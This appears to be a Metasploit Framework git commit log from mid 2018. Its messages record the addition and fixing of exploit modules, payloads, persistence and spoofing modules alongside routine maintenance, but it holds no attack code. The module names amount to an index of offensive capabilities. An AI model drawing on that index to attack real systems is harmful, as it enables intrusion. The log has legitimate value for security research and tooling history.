2018-07-17 20:12:37 -05:00
William Vu
49852e0fd6
Land #10332 , fixes for SOUNDTRACK and LOGO refs
2018-07-17 19:44:12 -05:00
William Vu
38daeb1b9f
Fix #10283 , SOUNDTRACK and LOGO refs
...
Some dupe code came in from master. Fixing and refactoring.
2018-07-17 19:36:35 -05:00
William Vu
6a38b36a45
Land #10283 , SOUNDTRACK and LOGO refs
...
:'(
2018-07-17 19:11:52 -05:00
William Vu
07203dccc6
Clean up some things
2018-07-17 19:11:26 -05:00
Jacob Robles
20905d1ca1
Fix syntax error
2018-07-17 18:48:07 -05:00
UserExistsError
d5ed70417b
bind_named_pipe payload for ruby_smb
2018-07-17 17:46:10 -06:00
Jacob Robles
a24666a00a
msftidy fixes
2018-07-17 18:28:33 -05:00
William Vu
1f887b3e19
Fix spec to check retval instead of stdout
...
stdout check is fine for untidy module, since it needs messages.
2018-07-17 18:20:09 -05:00
William Vu
ae9677c1c2
Rework msftidy retvals
...
INFO should not be an error. Also prevent retval overflow.
2018-07-17 18:11:16 -05:00
William Vu
e5efa4faac
Make failures consistent
2018-07-17 17:35:52 -05:00
Erin Bleiweiss
ad74ab7cf9
proof of concept searching with query params
2018-07-17 17:29:12 -05:00
William Vu
96f9e60e84
Swap return for sys.exit(1)
2018-07-17 17:25:38 -05:00
Brent Cook
5b3a8a36da
Land #10329 , Add command dispatcher for developer commands
2018-07-17 17:10:23 -05:00
William Vu
09d347ca33
Add missed sys.exit(1)
2018-07-17 16:31:57 -05:00
William Vu
39e381049a
Remove unnecessary include
2018-07-17 15:36:23 -05:00
William Vu
59278aef99
Add command dispatcher for developer commands
2018-07-17 15:07:50 -05:00
William Vu
7adc178345
Land #10309 , PID check for self-migrate
2018-07-17 14:33:32 -05:00
William Vu
29f05339a9
Clean up code
2018-07-17 14:33:10 -05:00
William Vu
e1be94e568
Pass RPORT to sess_port in Impacket
2018-07-17 13:49:38 -05:00
William Vu
0bdaa0e23a
Catch connection errors and module.log them
2018-07-17 13:49:34 -05:00
Metasploit
b0e575a3c3
automatic module_metadata_base.json update
2018-07-17 11:14:54 -07:00
William Vu
5650412cc2
Land #10317 , nil fix for enum_dns
2018-07-17 13:03:06 -05:00
William Vu
d5f10a74c7
Land #10315 , pSnuffle POST and basic auth
2018-07-17 12:59:12 -05:00
William Vu
f93e4a24a9
Fix typo
2018-07-17 12:59:00 -05:00
Metasploit
914501cce2
automatic module_metadata_base.json update
2018-07-17 07:41:21 -07:00
Jacob Robles
677b22698d
Land #10273 , [clean up] iis_webdav_scstoragepathfromurl
2018-07-17 09:33:32 -05:00
Jacob Robles
1e004769ca
CMS Made Simple Upload/Rename Authenticated RCE
2018-07-17 09:00:39 -05:00
Eliott Teissonniere
01e6362828
Fix documentation wording
2018-07-17 13:01:49 +02:00
Eliott Teissonniere
703f94d981
Check that /etc/rc.local is writeable
2018-07-17 12:52:51 +02:00
Eliott Teissonniere
97e89cf3bb
Cleanup rc_local patching code
2018-07-17 12:49:55 +02:00
Eliott Teissonniere
df32ab674d
Fix newline bad character
2018-07-17 12:48:26 +02:00
Green-m
00a748a92c
Add tab_complete_directory
2018-07-17 06:29:12 -04:00
Green-m
dc4e438c04
Add multiple commands' tabs
2018-07-17 06:27:51 -04:00
Brendan Coles
6bf184dbcf
Update tested versions
2018-07-17 06:24:16 +00:00
Metasploit
b4a49b4199
automatic module_metadata_base.json update
2018-07-16 16:15:15 -07:00
William Vu
9a7c34e6e9
Land #10064 , Claymore Dual Miner API RCE
2018-07-16 18:02:20 -05:00
William Vu
f028428e32
Land #10322 , unpkg-hosted Swagger UI
...
This prevents git grep or searches of the tree from exploding with text.
2018-07-16 17:29:32 -05:00
Matthew Kienow
5d048a6eb2
Use a class variable for auth initialized flag
2018-07-16 18:22:47 -04:00
Matthew Kienow
65c290fa39
Make API token optional on data_services cmd
2018-07-16 16:44:44 -04:00
James Barnett
d5814ae9f6
Use the unpkg hosted versions of SwaggerUI
2018-07-16 15:16:27 -05:00
Matthew Kienow
70104ab25e
Rename request env variables to conform with Rack
2018-07-16 15:04:05 -04:00
Matthew Kienow
f7a4c577d6
Add UserServlet and admin_api scope
2018-07-16 12:56:43 -04:00
Matthew Kienow
4680455041
Implement report_user and password hashing
2018-07-16 12:55:00 -04:00
Matthew Kienow
67721bc616
Refactor strategies to support admin token role
2018-07-16 12:51:41 -04:00
Eliott Teissonniere
bfd521f2cb
Small note about network not available
2018-07-16 11:56:55 +02:00
Eliott Teissonniere
7df20539af
Fix msftidy
2018-07-16 11:55:37 +02:00
Eliott Teissonniere
c84eb9fee9
Handle file patching on framework side
2018-07-16 11:54:37 +02:00
Eliott Teissonniere
aa58634b24
Document rc.local
2018-07-16 09:34:20 +02:00
Eliott Teissonniere
4f137f2f3f
rc.local persistence
2018-07-16 09:34:03 +02:00
Sunny Neo
8e1f68f384
Update ms15_034_http_sys_memory_dump.rb with VHOST
...
Added VHOST to cater to targets that require virtual hostname to be defined
2018-07-16 15:13:23 +08:00
Brendan Coles
7524af35ec
Check if IPRANGE was supplied - Fix #10316
2018-07-15 15:38:56 +00:00
Brendan Coles
6cd1593061
Add support for HTTP POST and Basic Auth to psnuffle
2018-07-15 14:16:37 +00:00
Jacob Robles
134417b598
Account for nil
2018-07-14 10:44:09 -05:00
Metasploit
b9192d1bdb
automatic module_metadata_base.json update
2018-07-14 08:26:26 -07:00
Jacob Robles
6e450973b9
Land #10295 , Add QNAP Q'Center change_passwd Command Execution exploit
2018-07-14 10:09:46 -05:00
Jacob Robles
18e65abc54
Fix link
2018-07-14 10:03:01 -05:00
Auxilus
71e25f1494
show error if server.pid == pid
...
This PR adds changes to catch error when `server.pid` and `pid` are the same
2018-07-14 16:32:38 +05:30
Brendan Coles
9bdec97b2e
Fix bpf_sign_extension_priv_esc
2018-07-13 23:01:17 +00:00
Brent Cook
4e5ad576b2
Land #10267 , defer bind payload connections until exploit has run
2018-07-13 17:35:27 -05:00
William Vu
c8891206af
Add vprint_status back to bind_named_pipe
...
I thought it was redundant with the improved handler start message, but
it broke consistency with the other print statements. Fixing.
2018-07-13 17:29:52 -05:00
Metasploit
7a0aed2cff
automatic module_metadata_base.json update
2018-07-13 15:28:01 -07:00
Brent Cook
72e5b94eb8
Land #10293 , fixup php/base64 and add docs for cmd/unix/reverse_bash
2018-07-13 17:15:22 -05:00
Brent Cook
b081ceff3b
Land #10304 , add debug log viewer
2018-07-13 16:36:54 -05:00
William Vu
2c9d85606c
Refactor and add error messages
2018-07-13 16:29:09 -05:00
Brendan Coles
bf53896aa7
Rex::Compat.getenv
2018-07-14 06:24:04 +10:00
William Vu
d355f51969
Switch warn to info
...
Nothing to warn about, just something to note and check.
2018-07-13 14:55:17 -05:00
William Vu
b8bdceccb8
Add missing CVE check to msftidy
2018-07-13 14:19:00 -05:00
Brendan Coles
4e72dff791
Update module references
2018-07-14 05:03:13 +10:00
Metasploit
f2884d568e
automatic module_metadata_base.json update
2018-07-13 09:04:30 -07:00
Wei Chen
b40a146723
Land #10297 , Add priv escalation mod for CVE-2018-8897
2018-07-13 10:54:25 -05:00
bwatters-r7
f33d12676f
Added License, make msftidy happy, and include original cve project
...
readme document.
2018-07-13 10:19:41 -05:00
bwatters-r7
4fa2a4775d
Update the target check and added cleanup
2018-07-13 09:27:41 -05:00
William Vu
3cec9026ae
Add janky console command to display framework.log
...
Works best with alternate screen enabled...
2018-07-13 06:11:32 -05:00
Wei Chen
d7a0d7ecf3
Add some documentation for mov_ss.md
2018-07-13 01:17:28 -05:00
Wei Chen
9ba0a72ea1
Rename file
2018-07-13 01:11:37 -05:00
Wei Chen
e1e8444188
Clean up ruby code for CVE-2018-8897
2018-07-13 01:06:21 -05:00
Brendan Coles
1ad571f136
Fix password typo
2018-07-13 16:02:15 +10:00
Brendan Coles
392cf3bbe1
Are hosts?
2018-07-13 15:00:31 +10:00
Metasploit
dd9870d211
automatic module_metadata_base.json update
2018-07-12 22:00:26 -07:00
William Vu
c2461d9b4b
Land #10302 , module doc fixes
2018-07-12 23:51:23 -05:00
Brendan Coles
a020d48caf
Move module documentation to documentation directory
2018-07-13 04:46:25 +00:00
Brendan Coles
358347358f
Add documentation
2018-07-13 04:18:56 +00:00
Green-m
f5b8b4dd7c
Update send_request_cgi/raw
2018-07-12 23:51:41 -04:00
Green-m
65627e06e2
Update send_request_cgi/raw
2018-07-12 23:51:18 -04:00
William Vu
ed163c11a0
Land #10296 , a few aux module docs
2018-07-12 22:20:25 -05:00
Wei Chen
f02c05e530
This one is the same as cve_2018_8897_exe.rb
2018-07-12 22:09:44 -05:00
Metasploit
63fb0d744a
automatic module_metadata_base.json update
2018-07-12 20:08:32 -07:00
William Vu
c9001699cd
Land #10027 , Hadoop unauthed command execution
2018-07-12 21:58:49 -05:00
William Vu
50252c75d6
Clean up module
...
With a little rubocop -a.
2018-07-12 21:58:00 -05:00
Metasploit
c62fc5e976
automatic module_metadata_base.json update
2018-07-12 17:13:23 -07:00
William Vu
2f37482535
Land #10278 , gitlist_arg_injection fixes
2018-07-12 19:03:52 -05:00
William Vu
9080b38dcc
Add Axis camera exploit (VDOO research)
2018-07-12 18:46:49 -05:00
Metasploit
ab05c1a810
automatic module_metadata_base.json update
2018-07-12 16:35:55 -07:00
Wei Chen
e613b2570a
Land #10299 , Add 88 CVEs to various auxiliary and exploit modules
2018-07-12 18:26:07 -05:00
William Vu
88bbc50104
Utilize uniq to make char array more readable
...
Hat tip @bcoles.
2018-07-12 17:59:12 -05:00
Metasploit
e3be355c25
automatic module_metadata_base.json update
2018-07-12 15:59:01 -07:00
William Vu
3ab2f6a569
Land #10298 , bug fix for #10219
2018-07-12 17:49:18 -05:00
bwatters-r7
cfcb77afd0
Rename to please msftidy
2018-07-12 17:41:06 -05:00
William Vu
3546286049
Add missed ARCH_CMD to top-level Arch array
...
It's not necessary because of targets, but it's required for printing.
2018-07-12 17:37:06 -05:00
asoto-r7
1a3a4ef5e4
Revised 88 aux and exploit modules to add CVEs / references
2018-07-12 17:34:52 -05:00
bwatters-r7
156b822401
First stab at cve-2018-8897
2018-07-12 17:31:53 -05:00
h00die
6751d48564
A few aux module docs
2018-07-12 17:50:47 -04:00
Brendan Coles
4b62f41369
Add QNAP Q'Center change_passwd Command Execution exploit
2018-07-12 20:00:17 +00:00
William Vu
3dda19f3c6
Update documentation in cmd/unix/reverse_bash
...
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464
https://bugs.launchpad.net/ubuntu/+source/bash/+bug/215034
2018-07-12 13:29:33 -05:00
William Vu
1f0535618d
Document bareword string deprecation in php/base64
2018-07-12 13:29:33 -05:00
William Vu
378930e5f4
Prefer %w array over quoted array in php/base64
...
irb(main):001:0> ["(",")",".","_","c","h","r","e","v","a","l","b","s","6","4","d","o"] == %w{( ) . _ c h r e v a l b s 6 4 d o}
=> true
irb(main):002:0>
2018-07-12 13:29:33 -05:00
Metasploit
4114d5e8fa
Weekly dependency update
2018-07-12 10:05:32 -07:00
Brendan Coles
104e4cee2e
Merge branch 'master' into soundtrack_logo_module_refs
2018-07-13 03:01:33 +10:00
Brendan Coles
4df7853fd3
Merge pull request #7 from wvu-r7/pr/10283
...
Fuel the hype machine
2018-07-13 02:57:40 +10:00
William Vu
147f59836a
Fuel the hype machine
2018-07-12 11:34:09 -05:00
Jacob Robles
f30c4e0465
Land #10226 , Add code randomization capabilities to Metasploit::Framework::Compiler
2018-07-12 11:20:04 -05:00
Metasploit
a9728d1bf1
automatic module_metadata_base.json update
2018-07-12 09:14:02 -07:00
Brendan Coles
904de2dd09
Land #10238 , Add ManageEngine Exchange Reporter Plus RCE exploit
2018-07-12 16:07:32 +00:00
William Vu
e72b873f56
Fire off bind handlers when session_created? runs
...
Also refactor because bind handlers don't use setup_handler.
2018-07-12 10:45:59 -05:00
Wei Chen
faf3adaee2
Update
2018-07-12 10:11:45 -05:00
Kacper Szurek
486225c2a8
Code review changes
...
Use target_uri, split url inside normalize function, replace print with vprint, return CheckCode::Appears
2018-07-12 14:27:28 +02:00
AlbertoCoding
93413481e8
IPTABLES rules removal module added
2018-07-12 14:16:22 +02:00
AlbertoCoding
60becc272a
Native DNS Spoofing module added
2018-07-12 14:06:41 +02:00
AlbertoCoding
5b60a91b66
Style and code optimization changes
2018-07-12 13:54:47 +02:00
AlbertoCoding
5b36515947
Merge remote-tracking branch 'origin/master' into vpef
2018-07-12 13:23:44 +02:00
Metasploit
9c2777c6b9
automatic module_metadata_base.json update
2018-07-12 01:56:07 -07:00
William Vu
aae98cb12a
Land #9780 , once more with feeling
...
Missed the merge, lol.
2018-07-12 03:42:27 -05:00
William Vu
acb20e5a29
Land #9780 , CouchDB auth bypass and RCE
2018-07-12 03:36:17 -05:00
Metasploit
048c1ee7b7
automatic module_metadata_base.json update
2018-07-12 01:18:45 -07:00
Green-m
2652971c5d
Merge pull request #1 from wvu-r7/pr/9780
...
exploit/linux/http/apache_couchdb_cmd_exec fixes some problems.
2018-07-12 16:16:06 +08:00
William Vu
a08420e0d0
Land #10286 , Docker server version scanner
2018-07-12 03:08:41 -05:00
William Vu
e62dbecbef
Add module doc
2018-07-12 03:06:16 -05:00
William Vu
cce3b6f369
Clean up module
2018-07-12 02:57:14 -05:00
William Vu
f53080ee60
Fix exploit and do final cleanup
2018-07-12 02:13:30 -05:00
William Vu
167745c124
Selectively add RuboCop fixes
2018-07-11 22:49:46 -05:00
William Vu
ccc3267166
Correct rubocop -a
...
We'll update .rubocop.yml later.
2018-07-11 22:49:46 -05:00
William Vu
ca5e496b8f
Run rubocop -a
2018-07-11 21:40:19 -05:00
James Barnett
b8ae4f5d12
Update rspec tests for creds and add stubs
2018-07-11 17:42:55 -05:00
h00die
31ddc9aa5b
Merge pull request #10 from bcoles/pr9884-fix
...
Fix Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation
2018-07-11 17:58:36 -04:00
Agora Security
7d8b9a90d7
Add more reporting
2018-07-11 17:22:48 -04:00
Agora Security
30c43e22d9
Fix typo
2018-07-11 17:04:31 -04:00
Agora Security
bb8ac4a7ab
Add info & update_info
2018-07-11 16:52:16 -04:00
James Barnett
8c350cdcd7
Add protections for nil HTTP responses
2018-07-11 15:45:26 -05:00
Adam Cammack
adff986908
Land #10287 , Add advanced option to skip WP checks
2018-07-11 14:25:19 -05:00
Shelby Pace
f855a5ab51
Land #10284 , Inform the user about lack of CVE
2018-07-11 11:47:43 -05:00
Shelby Pace
70837deeb1
Land #10268 , Ensure module_reference loads rb modules
2018-07-11 11:33:26 -05:00
Metasploit
147511dc66
automatic module_metadata_base.json update
2018-07-11 09:22:09 -07:00
Shelby Pace
1ded8ffb29
Land #10260 , Add phpMyAdmin v4.8.1/4.8.0 LFI RCE
2018-07-11 11:10:52 -05:00
James Barnett
c26fcc0af1
Merge branch 'master' into remote_creds_data
2018-07-11 10:27:49 -05:00
Brendan Coles
df2f58fb08
Add WPCHECK (Bool) advanced option to Exploit::Remote::HTTP::Wordpress
2018-07-11 07:09:28 +00:00
Agora Security
1f0045fa03
Improve Description
2018-07-11 01:27:10 -04:00
WangYihang
ef55803936
[+] Update resource meta command help info
...
Signed-off-by: WangYihang <wangyihanger@gmail.com >
2018-07-11 13:07:15 +08:00
WangYihang
26c505e336
[+] Update resource meta command help info
...
Signed-off-by: WangYihang <wangyihanger@gmail.com >
2018-07-11 13:06:33 +08:00
Agora Security
00f4d3967c
Add basic reporting
2018-07-11 00:47:43 -04:00
Agora Security
d488b51264
Use peer instead of ip & port
2018-07-11 00:41:55 -04:00
Agora Security
5a89642ddd
Simplify the module greatly
2018-07-11 00:15:56 -04:00
Agora Security
ffc2f044cc
Remove lines that were not required
2018-07-11 00:04:44 -04:00
Agora Security
7b1e7eb085
Minor improvement to description
2018-07-11 00:04:12 -04:00
Agora Security
2b2029b487
Align Hashrockets
2018-07-11 00:03:26 -04:00
Agora Security
9491c63778
Fix several minor details
2018-07-10 23:56:05 -04:00
Agora Security
66c207a124
Remove timeout of 25 seconds
2018-07-10 23:53:13 -04:00
Agora Security
718606c9f2
Add Auxiliary module to enumerate the Docker Server Version
2018-07-10 19:34:49 -04:00
Metasploit
c2094c8ca8
automatic module_metadata_base.json update
2018-07-10 15:50:27 -07:00
Erin Bleiweiss
ef3ea2dd44
Land #10280 , Use default CheckCode in ETERNALBLUE
2018-07-10 17:39:42 -05:00
James Barnett
b119622408
GET with ID is NYI for credentials
2018-07-10 17:30:44 -05:00
James Barnett
0270b0269b
Update Credential API documentation
2018-07-10 17:29:25 -05:00
Metasploit
5f092c03a1
automatic module_metadata_base.json update
2018-07-10 12:43:02 -07:00
Shelby Pace
10cd6c99d9
Land #10231 , Monstra Fileupload Exec
2018-07-10 14:23:15 -05:00
James Barnett
e7ddb6fdf5
Add API docs for logins endpoints
2018-07-10 14:21:19 -05:00
Shelby Pace
07dca243ff
changed grammar, removed redundant code
2018-07-10 14:13:57 -05:00
Shelby Pace
476a3a276f
modified capitalization and wording
2018-07-10 14:12:02 -05:00
Wei Chen
6aa5349513
Add a link explaining the message
2018-07-10 13:25:09 -05:00
Brendan Coles
f9daabcee3
Add support for SOUNDTRACK and LOGO to module refs
2018-07-10 17:23:07 +00:00
Metasploit
f3ff95944f
automatic module_metadata_base.json update
2018-07-10 10:02:11 -07:00
Brent Cook
1af360d7e0
Land #10108 , add IBM QRadar SIEM exploit
2018-07-10 11:52:32 -05:00
Brent Cook
625050767e
add module docs
2018-07-10 11:51:57 -05:00
Shelby Pace
171fa562a3
added parsing for repos in Gitlist source
2018-07-10 11:32:46 -05:00
William Vu
f64c9588e9
Undefine check method and let the base class do it
...
Preserve the to-do without rewording - should be enough.
2018-07-10 11:05:00 -05:00
James Barnett
8456c25fff
Add delete endpoint for logins
2018-07-10 11:00:08 -05:00
James Barnett
35f52a129c
Use create_credential when importing XML files
2018-07-10 10:37:46 -05:00
Adam Cammack
4f3cdd22f0
Allow Python modules to run independently
2018-07-10 10:24:07 -05:00
Adam Cammack
0dd89bf428
Add standalone runner for external modules
2018-07-10 10:24:07 -05:00
Adam Cammack
64c38ec6b8
Only elog when run inside of Framework
2018-07-10 10:24:07 -05:00
Adam Cammack
22167eba5c
Make the Python login scanner API more sane
2018-07-10 10:24:07 -05:00
Adam Cammack
1fddbdb8ef
Specify the command option external modules
2018-07-10 10:24:07 -05:00
Wei Chen
95e54f497b
Be explicit when there is no CVE assigned to a vulnerability
2018-07-09 18:42:36 -05:00
James Barnett
d3eb71e8e5
Implement invalidate_login
2018-07-09 16:15:40 -05:00
William Vu
533d87efa4
Return CheckCode::Unsupported in ETERNALBLUE
...
Defining a check method in the module overrides it.
2018-07-09 16:01:24 -05:00
Wei Chen
fd59df83ca
Fix rspec
2018-07-09 15:33:45 -05:00
Shelby Pace
5776b64a1b
modified exploit
2018-07-09 13:56:33 -05:00
Metasploit
d932c171de
automatic module_metadata_base.json update
2018-07-09 11:35:51 -07:00
Jacob Robles
64ec8e96cb
Land #10275 , Update missing CVE references for exploit modules
2018-07-09 13:26:18 -05:00
Shelby Pace
f5e40b14a3
removed double eval as suggested
2018-07-09 13:24:31 -05:00
Jacob Robles
4f039de2fc
Fix CVE numbers
2018-07-09 13:22:08 -05:00
Metasploit
d7723d5111
automatic module_metadata_base.json update
2018-07-09 11:19:08 -07:00
Jacob Robles
c441a05411
CVE fix
2018-07-09 13:10:22 -05:00
Metasploit
74e63f3631
automatic module_metadata_base.json update
2018-07-09 11:09:19 -07:00
Jacob Robles
226d2c608d
Land #10276 , Update missing CVE references for auxiliary modules
2018-07-09 12:58:25 -05:00
Jacob Robles
4403a4ab47
Fix CVE number
2018-07-09 12:56:00 -05:00
flandini
7d8a95de9f
Fixed requested changes for PR
2018-07-09 12:44:38 -05:00
Shelby Pace
44b9798afb
modified regex, id=filesmanager lines
2018-07-09 10:55:29 -05:00
James Barnett
bbc16e1873
Merge branch 'master' into remote_creds_data
2018-07-09 09:49:14 -05:00
Jacob Robles
bf24ce847a
Fix token issues
2018-07-09 09:29:11 -05:00
Touhid M Shaikh
bc33078e01
fixed comma
...
fixed comma
2018-07-09 12:27:58 +05:30
Touhid M Shaikh
6f6ad86e2c
fix tab
...
fix tab and space.
2018-07-09 11:49:11 +05:30
WangYihang
85bfca95fd
[+] Fixed meterpreter resource bug
2018-07-09 11:27:30 +08:00
Wei Chen
aff39e65d5
Update missing CVE references for auxiliary modules
...
Based on existing references such as BID, OSVDB, blog posts, etc
2018-07-08 19:00:11 -05:00
Wei Chen
5fc5a47cd2
Update CVE references for exploit modules
...
These are based on cross references by EDB, OSVDB, module short
name, blog post and BID.
2018-07-08 18:46:04 -05:00
Brendan Coles
f14d06b9d1
Fix ufo_privilege_escalation
2018-07-08 11:05:30 +00:00
Brendan Coles
a634e6347d
minor code cleanup
2018-07-08 06:09:38 +00:00
Touhid M Shaikh
4a835b2493
fix warning, and version
...
fix warning, and version and indentation
2018-07-07 17:27:09 +05:30
Metasploit
af3d2045fb
automatic module_metadata_base.json update
2018-07-06 13:10:12 -07:00
Jacob Robles
1c448de882
Land #10107 , Add the scanner/smb/impacket/secretsdump module
2018-07-06 14:59:33 -05:00
Wei Chen
922081d87e
Make sure module_reference is able to continue loading rb modules
2018-07-06 14:58:43 -05:00
Metasploit
ac20372d00
automatic module_metadata_base.json update
2018-07-06 12:46:25 -07:00
Shelby Pace
b5fb970aec
Land #10133 , Add HID discoveryd RCE exploit
2018-07-06 14:32:29 -05:00
Wei Chen
545e91af00
Land #10262 , Add GitList argument injection exploit module
2018-07-06 14:28:20 -05:00
William Vu
8d135aec39
Implement first pass at deferred payload handling
...
This is most useful for bind payloads, and I initially did just that,
but I've migrated the code to be more generic.
2018-07-06 14:26:31 -05:00
Wei Chen
82c74eb765
Small changes
2018-07-06 14:25:58 -05:00
Wei Chen
9d9dee737b
Fix rspec
2018-07-06 14:07:10 -05:00
Wei Chen
0e75317cfe
Change a typo
2018-07-06 13:30:07 -05:00
asoto-r7
ef78d70a00
Land #9356 . Remove ring buffers from command dispatcher.
2018-07-06 13:12:13 -05:00
Shelby Pace
b1456df757
made suggested changes
2018-07-06 12:48:38 -05:00
Jacob Robles
fe1b17684a
Add Targets and Session file inclusion
2018-07-06 12:17:26 -05:00
Tim W
76da853cbd
set AndroidWakelock=true by default
2018-07-06 18:29:45 +08:00
Wei Chen
a60fc3dc00
Fix code based on feedback from Jacob
2018-07-06 00:00:28 -05:00
ReverseBrain
43d71cdc09
Initial Claymore Dual Miner RCE doc commit
2018-07-06 02:50:16 +02:00
Metasploit
88dc4714f0
automatic module_metadata_base.json update
2018-07-05 15:47:13 -07:00
Brent Cook
b4b7bf03da
Land #10171 , Implement desktop shell and screensaver post modules
2018-07-05 17:33:06 -05:00
Brent Cook
0b9bc8c24a
Land #10241 , don't call print_error from rex context, use elog instead
2018-07-05 17:28:10 -05:00
Brent Cook
a18e4a7d5c
Land #10246 , add documentation for APK injection
2018-07-05 17:26:56 -05:00
Brent Cook
773d58f385
Land #10263 , fix double-nested array
2018-07-05 17:17:57 -05:00
thesubtlety
970c164e06
fix undefined method capitalize error for array
2018-07-05 14:33:51 -07:00
Shelby Pace
5d0652fab1
changed inconsistent capitalization
2018-07-05 15:56:41 -05:00
Shelby Pace
2b452d5681
added documentation and check
2018-07-05 15:47:21 -05:00
Matthew Kienow
77a0b74f76
Add delete option to data_services cmd
2018-07-05 16:40:55 -04:00
Jacob Robles
cb078b9586
Drop database
2018-07-05 14:58:30 -05:00
Metasploit
41a5ac3d74
automatic module_metadata_base.json update
2018-07-05 12:30:54 -07:00
Brent Cook
05a0d79be7
Land #10219 , Add HP VAN SDN Controller exploit
2018-07-05 14:21:44 -05:00
William Vu
830c17f07e
Update outdated print in module doc
2018-07-05 14:18:33 -05:00
Jacob Robles
43096d9d78
Add phpMyAdmin v4.8.1/4.8.0 LFI RCE
...
Module and Doc
2018-07-05 13:33:35 -05:00
William Vu
53d5d82498
Rename module to match new vector
2018-07-05 13:31:16 -05:00
Shelby Pace
507fd22958
added http post and generating payload
2018-07-05 13:21:22 -05:00
William Vu
762b4b5e53
Simplify creds auth by checking X-Auth-Token alone
...
It's a lot more direct than checking for the redirect.
2018-07-05 13:20:27 -05:00
William Vu
2b069f45ca
Clarify how we're using the auth token for creds
...
In the service token's case, the service token *is* the auth token.
2018-07-05 13:05:23 -05:00
flandini
b00f0e87e0
Add SonicWall XML-RPC Remote Code Execution exploit module
2018-07-05 12:06:13 -05:00
Brent Cook
d9215304a9
Land #10251 , be more explicit what a bind handler is doing
2018-07-05 10:42:23 -05:00
Brent Cook
8680379875
fix logic bug in handler thread for bind_named_pipe
2018-07-05 10:39:20 -05:00
Mehmet İnce
a272dcabd7
Fix typos and additional updates regarding to review
2018-07-05 13:33:40 +01:00
Mehmet İnce
3b8149216f
print a verbose error message
2018-07-04 23:20:58 +01:00
Mehmet İnce
4c1c2e9288
Adding Micro Focus Secure Messaging Gateway RCE
2018-07-04 17:47:13 +01:00
Metasploit
745471ea1e
Weekly dependency update
2018-07-03 20:34:52 -07:00
William Vu
f0b9b1c113
Add more verbose printing to bind handlers
2018-07-03 19:41:08 -05:00
William Vu
12a0aaeaf1
Add module doc
2018-07-03 18:31:43 -05:00
William Vu
41b0adad88
Use uninstall action command injection
2018-07-03 18:07:22 -05:00
Matthew Kienow
8a3166e198
Set a default user-agent value
2018-07-03 18:28:35 -04:00
Brent Cook
ad47806f45
Land #10250 , Increase read depth for SMB pipes, fix Windows support
2018-07-03 17:02:37 -05:00
Brent Cook
9805a8e5fd
bump ruby_smb to work on Windows
2018-07-03 17:01:39 -05:00
Matthew Kienow
ed34cd8898
Simplify request headers assignment
2018-07-03 17:59:57 -04:00
Jacob Robles
7dc87e1a9e
Increase read depth for smb pipes
2018-07-03 16:06:42 -05:00
Shelby Pace
7d0b8dee4a
making request for Gitlist source
2018-07-03 14:27:46 -05:00
William Vu
a25a656d28
Add "E" to HP to make HPE for better searches
...
We'll stick with calling it HP everywhere else.
2018-07-03 10:29:09 -05:00
Aloïs Thévenot
e1a9aae109
Add Wordress Arbitrary File Deletion module
2018-07-03 12:21:38 +02:00
Tim W
7fe41f5e4e
fix #10187 , add documentation for APK injection
2018-07-03 15:20:18 +08:00
Metasploit
9bc1f0df29
automatic module_metadata_base.json update
2018-07-02 15:41:08 -07:00
Jacob Robles
d9ed8352ab
Land #10242 , avoid using SMBv2 on Windows XP Native Upload targets
2018-07-02 17:34:53 -05:00
Matthew Kienow
514c0c76d5
Add API token to RemoteHTTPDataService
2018-07-02 18:34:35 -04:00
Brent Cook
5946245d87
avoid using SMBv2 on Windows XP Native Upload targets
2018-07-02 16:07:27 -05:00
Brent Cook
af43b6ca17
don't call print_error from rex context, use elog instead
2018-07-02 15:19:19 -05:00
Brent Cook
0543dfc95c
Land #10217 , keep bind_named_pipe with SMBv1
2018-07-02 14:54:00 -05:00
Metasploit
0606f65d90
automatic module_metadata_base.json update
2018-07-02 12:07:14 -07:00
Wei Chen
2ec091931a
Land #10237 , Add Boxoft WAV to MP3 Converter exploit module
2018-07-02 14:01:27 -05:00
Wei Chen
3e33a6f0a4
Update moduel boxoft_wav_to_mp3
2018-07-02 14:00:33 -05:00
William Vu
1bf94ac448
Spruce up check method and related
2018-07-02 13:59:24 -05:00
Metasploit
5a8d4c70f3
automatic module_metadata_base.json update
2018-07-02 11:47:35 -07:00
Wei Chen
12141136d7
Land #9896 , Java JMX Package Name Randomization
...
Land #9896
2018-07-02 13:41:39 -05:00
William Vu
6e090acc76
Stop joking with timeouts
2018-07-02 13:18:31 -05:00
William Vu
78ca4d4217
Finally use Msf::Util::EXE.to_zip 8)
2018-07-02 13:04:59 -05:00
Kacper Szurek
2196640de4
Add manageengine_adshacluster_rce
...
Manage Engine Exchange Reporter Plus <= 5310 Unauthenticated RCE
2018-07-02 19:11:08 +02:00
Shelby Pace
8f8d015741
changed some wording
2018-07-02 09:57:28 -05:00
Shelby Pace
54fce378fa
added target versions to documentation
2018-07-02 09:20:17 -05:00
Green-m
aa3fcea377
update check method to print error message normaliy
2018-07-01 23:17:34 -04:00
Green-m
7a966e7b9d
Change unauthorized to unauthenticated
2018-07-01 22:43:54 -04:00
Green-m
c3b71d4642
Update mismatch indentation and others
2018-07-01 22:43:07 -04:00
Ishaq Mohammed
70eb943b5a
Update monstra_fileupload_exec.rb
2018-06-30 13:40:12 +05:30
Ishaq Mohammed
89ba960309
username and password values removed
...
username and password values removed
2018-06-30 12:47:13 +05:30
Ishaq Mohammed
32db22804e
Docs Update
...
Docs Update
2018-06-30 12:45:43 +05:30
Ishaq Mohammed
128438f444
Merge pull request #2 from touhidshaikh/monstra_fileupload_exec
...
Monstra fileupload exec
2018-06-30 12:03:14 +05:30
Touhid M Shaikh
d0abe843c4
monstra_fileupload_exec doc
...
monstra_fileupload_exec Doc
2018-06-30 11:52:43 +05:30
Pedro Ribeiro
6ace45e312
Add correct IBM CVE
...
Turns out IBM decided to revisit the advisory and attribute 3 different CVE numbers intead of 1.
2018-06-30 12:06:16 +07:00
Metasploit
d322148d8d
automatic module_metadata_base.json update
2018-06-29 15:55:57 -07:00
Brent Cook
85dc81a58b
Land #10185 , add SMBv1/2 support in psexec
2018-06-29 17:49:27 -05:00
Brent Cook
3b228b0abd
avoid stack overflow on too many empty pipe reads in a row
2018-06-29 17:48:39 -05:00
Shelby Pace
3b5555542c
add exploit module and documentation
2018-06-29 15:17:12 -05:00
William Vu
78cefe0528
Clarify original exploit credit
...
It's definitely more than a PoC (exploit). It's weaponized.
2018-06-29 13:02:40 -05:00
William Vu
34f303187f
Drop privesc retval, since it's obsoleted by print
2018-06-29 12:53:59 -05:00
Metasploit
1b386c99c2
automatic module_metadata_base.json update
2018-06-29 10:22:27 -07:00
